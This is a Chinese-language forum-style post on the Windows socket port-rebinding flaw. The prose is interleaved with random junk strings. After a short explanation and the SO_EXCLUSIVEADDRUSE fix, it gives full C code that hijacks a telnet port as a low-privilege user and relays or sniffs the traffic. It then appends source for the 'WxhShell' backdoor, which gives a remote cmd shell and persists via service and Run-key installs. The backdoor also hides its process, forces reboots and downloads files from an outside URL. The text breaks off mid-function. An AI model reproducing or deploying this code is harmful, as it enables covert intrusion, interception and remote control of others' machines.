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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Lf{9=; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _$ ]3&P |?hNl2m saddr.sin_family = AF_INET; F$7>q'# a_P8!pk+5 saddr.sin_addr.s_addr = htonl(INADDR_ANY); [O>}% 7,ysixY bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9^,MC&eb V)72]p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 j
B S$xW Q\z6/1:9Z 这意味着什么?意味着可以进行如下的攻击: fwK5p?Xhm
~oy=2Q<Z 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 d`q<!qFZh //n$#c_}u 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {b6| wQ\ s4/4o_[W 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :a
@_GIC >
L_kSC? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 sa$CCQ 8i/5L=a"` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 '/%]B@! zgXg-cr 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 (`\ DDJ[ }lt5!u~} 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 GKTt!MK 7v3'JG1r- #include :jlKj} 4A #include 3oc p4x`[ #include E1 IT>_ #include Ybo:2e DWORD WINAPI ClientThread(LPVOID lpParam); ce@1#}* int main() }W^%5o87{ { >zFk}/ WORD wVersionRequested; GdHFgxI DWORD ret; r#r L~Rsd} WSADATA wsaData;
A[:0?Ez= BOOL val; P0VXHE1p SOCKADDR_IN saddr; $`,10uw SOCKADDR_IN scaddr; *;cvG?V int err; :}'5'oVG SOCKET s; vqO d`_) SOCKET sc; KT$Za int caddsize; R8LJC]6Bh HANDLE mt; ovm109fTx DWORD tid; V>D8l @ wVersionRequested = MAKEWORD( 2, 2 ); n@|5PI"bx err = WSAStartup( wVersionRequested, &wsaData ); Yuo:hF\DH if ( err != 0 ) { E><$sN6 printf("error!WSAStartup failed!\n"); {\zTE1X9 return -1; 3/_rbPr } 6G.(o saddr.sin_family = AF_INET; C.qNBl* 'D_a2xo0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =rz7 x :%G_<VAo! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); o;#:% saddr.sin_port = htons(23); lTb4quf8I if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ymH>]
cUm { m1bkY#\ U| printf("error!socket failed!\n"); [g)HoR=& return -1; y7pwYRY } Z~R7 G val = TRUE; y5/frJ //SO_REUSEADDR选项就是可以实现端口重绑定的 6mp8v`b if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c8z6-6`i0 { Wh).%K(t printf("error!setsockopt failed!\n"); s&v7<)*q return -1; Uh[MBwK } uoJ@Jt'j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; de7
\~$ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Qe,jK{Y<
- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 m\zCHX#n xER-TT#S if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) r2ZSkP. { an q1zH ret=GetLastError(); 9w3KAca printf("error!bind failed!\n"); TAL,(&[s return -1; ;|qbz]t2( } ~jz!jF~I listen(s,2); 5Z;iK(>IX while(1) v']Tusmg { Ei>.eXUD5 caddsize = sizeof(scaddr);
RE._Ov> //接受连接请求 }H#C<:A sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _uXb 9 if(sc!=INVALID_SOCKET) C b4.N8 { \/XU v( mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %f)%FN.S if(mt==NULL) 79&=MTM
{ [0bp1S~ printf("Thread Creat Failed!\n"); ._%8H break; Jb/VITqN4 } @LSfP } B:)PUBb CloseHandle(mt); "2 \},o9 } pTB1 I3=.u closesocket(s); ,
wXixf2 WSACleanup(); H0(.p'eN return 0; ^O0trM>h- } C6"{-{H DWORD WINAPI ClientThread(LPVOID lpParam) d9iVuw0u< { [n]C SOCKET ss = (SOCKET)lpParam; Six2{b)p SOCKET sc; xs
1V?0 unsigned char buf[4096]; B_DyH
C\< SOCKADDR_IN saddr; h
?_@nQ! long num; xiv8q/ DWORD val; Vp$<@Y DWORD ret; /np05XhEa //如果是隐藏端口应用的话,可以在此处加一些判断 G^ShN45 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 :3N6Ej saddr.sin_family = AF_INET; VwN=AFk
Oj saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); \h>6k saddr.sin_port = htons(23); 1y3)ogL if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n\GN}?4 { %OJ"@6A printf("error!socket failed!\n"); DX0#q # return -1; b.q/?
Yx } {K N7Y"AI val = 100; q#6|/R* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t/lQSUip { -{2Vz[ [ ret = GetLastError(); bg\9Lbjr return -1; G#L6; } 63`5A3rii if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `#*`hH8 { "M;[c9 ret = GetLastError(); &t U&ZH return -1; '2qbIYanh } [_`<<!u>- if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) AvVPPEryal { v65]$%F? printf("error!socket connect failed!\n"); lFp : F5 closesocket(sc); XL/V>`E@ closesocket(ss); o\<JG?P return -1; v4qpE!W27~ } :x,dYJm while(1) dUQ)&Hv { Bx/)Sl@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ],
IQ~ //如果是嗅探内容的话,可以再此处进行内容分析和记录 }#q0K //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 DzbcLg%:W num = recv(ss,buf,4096,0); `z^50Vh| if(num>0) hwQrmVwvP send(sc,buf,num,0); mGpBj9jr1 else if(num==0) mg< v9# break; _'|C-j`u$ num = recv(sc,buf,4096,0); 9ec>#Vxx if(num>0) z57q| send(ss,buf,num,0); $a|>>?8 else if(num==0) 5g`J}@"k break; #Vhr1;j } >guX,hx^ closesocket(ss); 8Ow#W5_3| closesocket(sc); tl
9` return 0 ; #nQboTB@ } } rX)A\ g6 e<{waJ1 aA
-j ========================================================== KBoW(OP4' vjVa),2 下边附上一个代码,,WXhSHELL 3!h 3flE %(S!/(LWW ========================================================== ]|N"jr?7H RA!8AS? #include "stdafx.h" 4av )8taMC:H^ #include <stdio.h> b\^1P;!'W #include <string.h> iL<FFN~{ #include <windows.h> uF ;8B]" #include <winsock2.h> _}j6Pw' #include <winsvc.h> og1Cj{0 #include <urlmon.h> RT2&^9- -
i{1h" #pragma comment (lib, "Ws2_32.lib") ac,<+y7A #pragma comment (lib, "urlmon.lib") j*FpQiBoT i!G<sfL #define MAX_USER 100 // 最大客户端连接数 hXD`OlX #define BUF_SOCK 200 // sock buffer sZwa#CQK q #define KEY_BUFF 255 // 输入 buffer Ld'3uM/ t R.>d #define REBOOT 0 // 重启 "u'dd3! #define SHUTDOWN 1 // 关机 -M+o; /IG3>|R #define DEF_PORT 5000 // 监听端口 np\*r|U f7a"}.D$ #define REG_LEN 16 // 注册表键长度 [U$`nnp #define SVC_LEN 80 // NT服务名长度 3t5WwrNh e
+jp,>(v // 从dll定义API (SCZ.G(> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); rcf#8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VrKLEN\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); MH]?:]K9V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'X\C/8\ DB'3h7T // wxhshell配置信息 1lsg|iVz struct WSCFG { x}f)P int ws_port; // 监听端口 KfSbm? char ws_passstr[REG_LEN]; // 口令 qL$\[( int ws_autoins; // 安装标记, 1=yes 0=no !95Q4WH-@ char ws_regname[REG_LEN]; // 注册表键名 3W[Ps?G char ws_svcname[REG_LEN]; // 服务名 8SBa w'a char ws_svcdisp[SVC_LEN]; // 服务显示名 )7m.n%B!5V char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]>0$l _V char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >w1jfpQ@t$ int ws_downexe; // 下载执行标记, 1=yes 0=no U4lAo char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" QbYNL9% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BPy pA$ AY]rQ:I }; )LL.fPic ;`Sn66& // default Wxhshell configuration (9)uZ-BF, struct WSCFG wscfg={DEF_PORT, [C3wjYi "xuhuanlingzhe", U9Lo0K 1, tbB.n "Wxhshell", YCBUc<) "Wxhshell", B~3qEdoK5` "WxhShell Service", ZV!*ZpTe~ "Wrsky Windows CmdShell Service", 9x14I2 "Please Input Your Password: ", s{fL~}Yz 1, ai)?RF " http://www.wrsky.com/wxhshell.exe", =]L#v2@ "Wxhshell.exe" |vj!,b88n# }; c ;'7o=rr I^O`#SA ( // 消息定义模块 ^izf&W.j! char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !/"y char *msg_ws_prompt="\n\r? for help\n\r#>"; PkK#HD char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 8WwLKZ} char *msg_ws_ext="\n\rExit."; OQ<NB7'n0A char *msg_ws_end="\n\rQuit."; kCKCJ}N char *msg_ws_boot="\n\rReboot..."; v8THJf char *msg_ws_poff="\n\rShutdown..."; UmCIjwk char *msg_ws_down="\n\rSave to "; 7D4I>N'T U6M&7l8 char *msg_ws_err="\n\rErr!"; r+nhm"9 char *msg_ws_ok="\n\rOK!"; =V^8RlBi 0[s<!k9= char ExeFile[MAX_PATH]; D|8h^*Ya int nUser = 0; cV* 0+5 HANDLE handles[MAX_USER]; U}W7[f lc int OsIsNt; C2?p>S/q -<5H8P- SERVICE_STATUS serviceStatus; d`KW]HJw SERVICE_STATUS_HANDLE hServiceStatusHandle; ={nuz-3 -:V2Dsr6; // 函数声明 f q*V76F int Install(void); =(,dI[v int Uninstall(void); 5{#ya2 int DownloadFile(char *sURL, SOCKET wsh); WoWBZ;+U int Boot(int flag); U&6f:IV void HideProc(void); gk"J+uM int GetOsVer(void); 9riKSp:5 int Wxhshell(SOCKET wsl); ePI)~ void TalkWithClient(void *cs); x{{ZV] int CmdShell(SOCKET sock); ;7yt,b5&C int StartFromService(void); B=2f-o int StartWxhshell(LPSTR lpCmdLine); +'D
#VG "\kr;X' VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ptpu
u=3" VOID WINAPI NTServiceHandler( DWORD fdwControl ); SG3qNM: g
EJO6k1 // 数据结构和表定义 bhT:MW! SERVICE_TABLE_ENTRY DispatchTable[] = nIqmora { Jz)c|8U {wscfg.ws_svcname, NTServiceMain}, `L"{sW6S {NULL, NULL} ZQDw|*a@ }; p:qj.ukw FuO'%3;c // 自我安装 9 Dx9alJR int Install(void) }!Xj{Eoc { 2aGK}sS6 char svExeFile[MAX_PATH]; M{~KT3c HKEY key; e@L7p, strcpy(svExeFile,ExeFile); ,9ZN k@q 4+r26S,T // 如果是win9x系统,修改注册表设为自启动 Psu*t%nQ?A if(!OsIsNt) { 24/ ^_Td if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5I@2U vV8 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }5Pzen RegCloseKey(key); o*|j}hnbv if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }Gm/9@oKc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,46k8%WW RegCloseKey(key); <o\I C?A return 0; g R)
)K) } 6\?<:Qto } Kg;1%J>ee } *.Ceb%W7C else { T>s3s5Y JIU=^6^2' // 如果是NT以上系统,安装为系统服务 R>.
%0%iq SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `}fwR if (schSCManager!=0) qQUCK { 38eeRo SC_HANDLE schService = CreateService /CN`U7:E ( [P746b_\e schSCManager, )k|_ CW~ wscfg.ws_svcname, n6 a=(T wscfg.ws_svcdisp, /
L/hR4 SERVICE_ALL_ACCESS, /0qLMlL$ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B@2VI
1% SERVICE_AUTO_START, >~k"C,6 SERVICE_ERROR_NORMAL, YV>]c9!q svExeFile, X
Sw0t8 NULL, 2N:|B O> NULL, cp>1b8l6? NULL, IXef}%1N? NULL, {z/Y~rf NULL 'rQ>Z A_8 ); ')>&:~ if (schService!=0) %2D9]L2Up { ULkhTB CloseServiceHandle(schService); uDpCW} CloseServiceHandle(schSCManager); \4OX]{ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y6nPs6kR strcat(svExeFile,wscfg.ws_svcname); ix]t>2r if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .d>TU bR; RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wR= WS', RegCloseKey(key); 11(:#4Y, return 0; u:f.g?!`" } 7U\GX } G>);8T%l CloseServiceHandle(schSCManager); nuip } X]OVc<F } xMu[#\Vc 5J4'\M return 1; A7qKY-4B } .v{ok,& i#Y[I"' // 自我卸载 mew,S)dq! int Uninstall(void) 9c@."O` { +bw>9VmG HKEY key; LJAqk2k $Dm2>:Dmt if(!OsIsNt) { MIJ^n(-G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vP{22P RegDeleteValue(key,wscfg.ws_regname); [Q2"OG@Q RegCloseKey(key); E9IU,P6a if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
bK|I RegDeleteValue(key,wscfg.ws_regname); r{T}pc>^ RegCloseKey(key); k_hV.CV return 0; BB694
} :q0TS>l } j r<`@ } <!s+X_^ else { :d
ts> 8(Ab
NQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +I {ZW}rA if (schSCManager!=0) D 1Q@4
g { TUQ+?[ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #Jo#[-r if (schService!=0) NM;0@ o { ;ctJ9"_g if(DeleteService(schService)!=0) { 1webk;IM CloseServiceHandle(schService); <n)J~B^ CloseServiceHandle(schSCManager); Az}.Z'LJ return 0; 5mxYzu;#] } u._B7R&> CloseServiceHandle(schService); `EUufTYi } #MyR:V*a CloseServiceHandle(schSCManager); ,u1Yn} } T5g}z5~" } x9s7:F =skw@c^ return 1; ur,!-t(~t } {WE1^&Vk-} s^{hdCCl67 // 从指定url下载文件 9BJP|L%q int DownloadFile(char *sURL, SOCKET wsh) S~9K'\vO { 3:Mq40]x HRESULT hr; w@&4dau char seps[]= "/"; _bi]Bpxf char *token; R; wq char *file; *oC],4y~D char myURL[MAX_PATH]; xV_,R'l char myFILE[MAX_PATH]; f.%mp$~T .>Gnb2
strcpy(myURL,sURL); LX
[ _6 token=strtok(myURL,seps); \{HbL,s while(token!=NULL) rff=ud>Jf { \pXs&}%1,F file=token; 5,I|beM token=strtok(NULL,seps); [\ M$a|K } s[
ze8: )AxgKBW GetCurrentDirectory(MAX_PATH,myFILE); F%t_9S,)O strcat(myFILE, "\\"); ADTx _tE strcat(myFILE, file); /!l$Y? send(wsh,myFILE,strlen(myFILE),0); b?p <y` send(wsh,"...",3,0); Uq:WW1=kh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G% |$3 if(hr==S_OK) eDh]uKg return 0; IMKyFp]h- else xpJ6M<O{8 return 1; ZPktZ UE-< } kK27hfsw h%9>js^~ // 系统电源模块 ;"}yVV/4 int Boot(int flag) >tUi ;!cQ { F3-<F_4.w HANDLE hToken; 0W92Z@_GY TOKEN_PRIVILEGES tkp; WIe7>wkC cBZKt if(OsIsNt) { 4GA9oLl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); $>PXX32 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); s$cr|p;7# tkp.PrivilegeCount = 1; 'MM%Sm, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 81gcM? AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); O_zW/# if(flag==REBOOT) { LW={| 3} if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) P=.yXirm? return 0; VH.mH< } !Ez5@ else { {XHAQ9' if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
PTU_<\ return 0; V`/E$a1& } UlG8c~p } =cwQG&as else { k<.$7Pl3U if(flag==REBOOT) { S}O>@% if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [~3[Tu( C return 0; y&ZyThqg } B3+9G,or else { [y(DtOR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) e\0vp hS6 return 0; DzfgPY_Py } YXJr eM5 } kPhdfF*Q jL
}bGD return 1; /5Od:n } DjyqQyq~ f9" M^i // win9x进程隐藏模块 GI+x,p void HideProc(void) <EhOIN7@*D { Dq [f wbIgZ]o!/; HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L}~"R/iWCT if ( hKernel != NULL ) v qt#JdPp9 { 'n:|D7t pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vu0d\l^$ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zBQV2.@ FreeLibrary(hKernel); wMW."gM| } RP@U0o /C[Q? return; q,i&% } *^ZJ&. J!{t/_aw // 获取操作系统版本 eD|p1+76 int GetOsVer(void) YiO3.+H { &$$o=Y g, OSVERSIONINFO winfo; GI se|[p winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); AiP#wK; GetVersionEx(&winfo); ]u]BxMs if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y3_C':r return 1; 3X;k c> else !^yH]v return 0; <y
S|\Z| } ^n?`l ^9c$ 6"h,0rR // 客户端句柄模块 v)b_bU]Hx int Wxhshell(SOCKET wsl) 4.=jKj9j { ~'9\y"N1 SOCKET wsh; uc<JF= struct sockaddr_in client; ~WjK'N4n5 DWORD myID; X[ 6#J OH\(;RN* while(nUser<MAX_USER) U<YcUmX { tx*L8'jlN int nSize=sizeof(client); mn].8F wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -wsoJh
if(wsh==INVALID_SOCKET) return 1; wit
rC> HBdZE7.x)3 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CN{xh=2qY[ if(handles[nUser]==0) d-sT+4o} closesocket(wsh); Q$yMU[l) else 5%_aN_1?ef nUser++; 22T\-g{ } h-f`as"d WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); zA>LrtyK(= EED0U? return 0; :>|dE%/e$ } y+aKk6(_W &o;d // 关闭 socket ? K ,d void CloseIt(SOCKET wsh) ;!+-fn4C { %lnVzGP closesocket(wsh); lR>p nUser--; EKD?j ExitThread(0); Ob&m&2s, } KB"N',kG 9Q.@RO$%C // 客户端请求句柄 ;*G';VuT void TalkWithClient(void *cs) ;/h&40& { 8345
H T4nWK!}z SOCKET wsh=(SOCKET)cs; 9+iz+ char pwd[SVC_LEN]; .6=;{h4cpB char cmd[KEY_BUFF]; 0clq} char chr[1]; &7
K= int i,j; Vb8Qh601 q'Nafa&a) while (nUser < MAX_USER) { E!9(6G4 )H>?K0I if(wscfg.ws_passstr) { GGs7]mhA if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z[9t?ePL //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i'QR-B&Z //ZeroMemory(pwd,KEY_BUFF); .iC!Ttr i=0; N/!(`Z, while(i<SVC_LEN) { ]$,3vYBf FVxORQI // 设置超时 b8 E{~z fd_set FdRead; xHD$0eq struct timeval TimeOut; b['v0x FD_ZERO(&FdRead); noso* K7 FD_SET(wsh,&FdRead); vdcPpj^d5 TimeOut.tv_sec=8; 8RI'Fk{ TimeOut.tv_usec=0; Q!!u=}GYK int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %a?\y_a=b if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n)j0h- JvsL]yRT if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }BUm}.-{u, pwd =chr[0]; RW<10: if(chr[0]==0xd || chr[0]==0xa) { 4?fpk9c{2 pwd=0; O I0N(V break; 'T|EwrS j } !Ln 'Mi_B i++; hD[r6c } AHo }K\O?r M>Q3;s // 如果是非法用户,关闭 socket vGnFX0?h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g%V#Z`*| } 0R,. ["#H/L]3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X`(fJ', send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); va:<W H )$GCur~ while(1) { Cw"[$E'J I)kc[/^j$ ZeroMemory(cmd,KEY_BUFF); =A*a9c2
lbX
YWZ~7 // 自动支持客户端 telnet标准 Lq62 j=0; qg/FI#r while(j<KEY_BUFF) { Dkx}}E:< if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BCuoFw) cmd[j]=chr[0]; "L;@qCfhO if(chr[0]==0xa || chr[0]==0xd) { po(pi| cmd[j]=0; $NCR
V:J break; 'd|!Hr<2 } BaWU[* j++; *8_Dn}u?Jx } 2+/r~LwbK +\*b?x // 下载文件 >& 4) : if(strstr(cmd,"http://")) { Eg&:yF}?( send(wsh,msg_ws_down,strlen(msg_ws_down),0); Uq @].3nf if(DownloadFile(cmd,wsh)) *kpP)\P send(wsh,msg_ws_err,strlen(msg_ws_err),0); @u`W(Ow else OFBEJacy send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }.pqV
X{d } %gQUog else { V'gJtF lQiw8qD switch(cmd[0]) { &Z3%UOY 8f1M6GK? // 帮助 Bd 0oA
)i case '?': { kBLFK3i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6"o=`Sq break; T`MM<+^G } *p=enflU
// 安装 M7T*J>i case 'i': { }]#z0'Aqsu if(Install()) en/ h`h]h send(wsh,msg_ws_err,strlen(msg_ws_err),0); jo0XF] else pY[b[ezb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o>nw~_ H\ break; 7_P33l8y
} IdMwpru( // 卸载 >kxRsiKV case 'r': { mr/?w0(C if(Uninstall()) k6J&4?xZ send(wsh,msg_ws_err,strlen(msg_ws_err),0); "dG N0i else cWG%>.`5r send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
EADN break; #t;]s< } xMNQT.A // 显示 wxhshell 所在路径 `d^Q!QxE case 'p': { |5%T) char svExeFile[MAX_PATH]; by0K:*C strcpy(svExeFile,"\n\r");
x`FTy&g strcat(svExeFile,ExeFile); + kT ]qH send(wsh,svExeFile,strlen(svExeFile),0); M 87CP=yc break; ?hGE[.(eh] } =PQ4S2Q // 重启 3[y$$qXI case 'b': { jl>TZ)4}V send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); $./aKJ1B if(Boot(REBOOT)) %gs?~Xl)] send(wsh,msg_ws_err,strlen(msg_ws_err),0); mj ?Gc else { gKl9Nkd!R closesocket(wsh); Sgv_YoD?- ExitThread(0); l*OR{!3H$ } -b{<VrZ break; zwU[!i) } T9%|B9FeJ // 关机 $'>JG9M case 'd': { |U;O HS send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8AFc=Wx if(Boot(SHUTDOWN)) Hi=</ Wy; send(wsh,msg_ws_err,strlen(msg_ws_err),0);
j5Da53c#^ else { $OdBuJA closesocket(wsh); 'tw
]jMD ExitThread(0); wggB^ }~ } 6pSTw\/6 break; 49M1^nMvoo } nIr`T^c9c // 获取shell I<CrEL<5}~ case 's': { qPD(D{,f$ CmdShell(wsh); qbD
7\% closesocket(wsh); EpNN!s=Q ExitThread(0); \/<VJB
uV break; \eNB L[ } M;Pry3J // 退出 lq "X_M$ case 'x': { -z+,j(@ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +B1&bOb CloseIt(wsh); d4BzFGsW break; %Z <{CV } Q&vdBO/ // 离开 ~G@YA8} case 'q': { Li}5aK send(wsh,msg_ws_end,strlen(msg_ws_end),0); hHmm(~5gR closesocket(wsh); R'`'q1=R WSACleanup(); {pH# zs4Y exit(1); cQuL9Xo break; _"B.V( } xl`AiO `K } zs Q|LwQ } K$Vu[!l` *|g[Mn // 提示信息 (m,H 5 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [
5}Q } m{=Q88k!@. } oRSA&hSs ZHN'j ]? return; AK,'KO%{= } ~?Ky{jah:^ cjPXrDl{\ // shell模块句柄 z,ERq,g+L int CmdShell(SOCKET sock) x1#>"z7 { 7~QI4'e STARTUPINFO si; ur8+k4]\" ZeroMemory(&si,sizeof(si)); 5Y^"&h[/ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :K]7(y7> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FMeBsI9pL PROCESS_INFORMATION ProcessInfo; t!3N|`x char cmdline[]="cmd"; u-,}ug| CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); lTqlQ<`V return 0; DbH;DcV7 } eIalcBY /Yp#`}Ii // 自身启动模式 <C&|8@A0 int StartFromService(void) #l4T/`u'9! { O1\Hx8^ typedef struct O6G'!h\F { )
yMrET
m DWORD ExitStatus; lJ-PW\P DWORD PebBaseAddress; &Q~W{. DWORD AffinityMask; y0mNDze DWORD BasePriority; \(P?=] - ULONG UniqueProcessId; n_km]~ ULONG InheritedFromUniqueProcessId; gx9Os2Z|3 } PROCESS_BASIC_INFORMATION; kaekH*m~ u3+B/ 5x PROCNTQSIP NtQueryInformationProcess; NUltuM X>o9mW static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7:u+cv static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 50N4J (~^fx\-S HANDLE hProcess; zk8)!Af PROCESS_BASIC_INFORMATION pbi; ^-~JkW'z >Dr(%z6CN HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z{0BH{23 if(NULL == hInst ) return 0; vNGE]+QX ~#*C,4m g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .
